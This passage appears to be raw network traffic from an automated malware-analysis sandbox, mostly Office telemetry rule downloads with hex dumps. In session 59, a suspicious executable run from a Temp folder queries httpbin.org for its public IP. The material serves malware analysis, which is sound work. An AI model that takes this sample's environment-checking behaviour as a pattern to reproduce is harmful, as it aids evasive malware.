xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:19 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:19 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084519Z-174f7845968qj8jrhC1EWRh41s000000111g000000009s2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:19 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:19 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 691d9d27-b01e-0070-2a0b-411cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084519Z-174f7845968swgbqhC1EWRmnb400000011cg000000003124 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:19 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084519Z-174f7845968xr5c2hC1EWRd0hn0000000hy000000000ah3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:19 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: abb27c18-501e-008f-0aee-419054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084520Z-174f7845968cpnpfhC1EWR3afc00000010wg000000001u8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:19 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:20 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 3ecdff04-701e-003e-1903-4279b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084520Z-174f7845968px8v7hC1EWR08ng00000011bg000000008zx9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:20 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49817	18.213.123.165	443	1904	C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:21 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-11-30 08:45:22 UTC	224	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:21 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-11-30 08:45:22 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.228"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:21 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 926e5261-401e-008c-1d9e-4286c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084521Z-174f7845968xlwnmhC1EWR0sv80000001140000000000srd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:22 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 27481374-801e-0078-46b4-42bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084522Z-174f78459684db9fhC1EWRc7g40000000180000000002qkp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:22 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c77db93f-b01e-003e-210f-418e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084522Z-174f7845968pght8hC1EWRyvxg00000004900000000072mz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:22 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 84052cd8-a01e-000d-592e-41d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084522Z-174f7845968cpnpfhC1EWR3afc00000010ug000000003xxw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:23 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:24 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 352cddbf-b01e-005c-1563-404c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084524Z-174f7845968nxc96hC1EWRspw8000000111000000000120z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:24 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:24 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:24 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 6398f086-f01e-0099-25dd-419171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084524Z-174f7845968frfdmhC1EWRxxbw00000011900000000036vp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:24 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:24 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: aaf8d828-401e-0016-61be-4253e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084524Z-174f7845968swgbqhC1EWRmnb400000011dg000000001rsh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
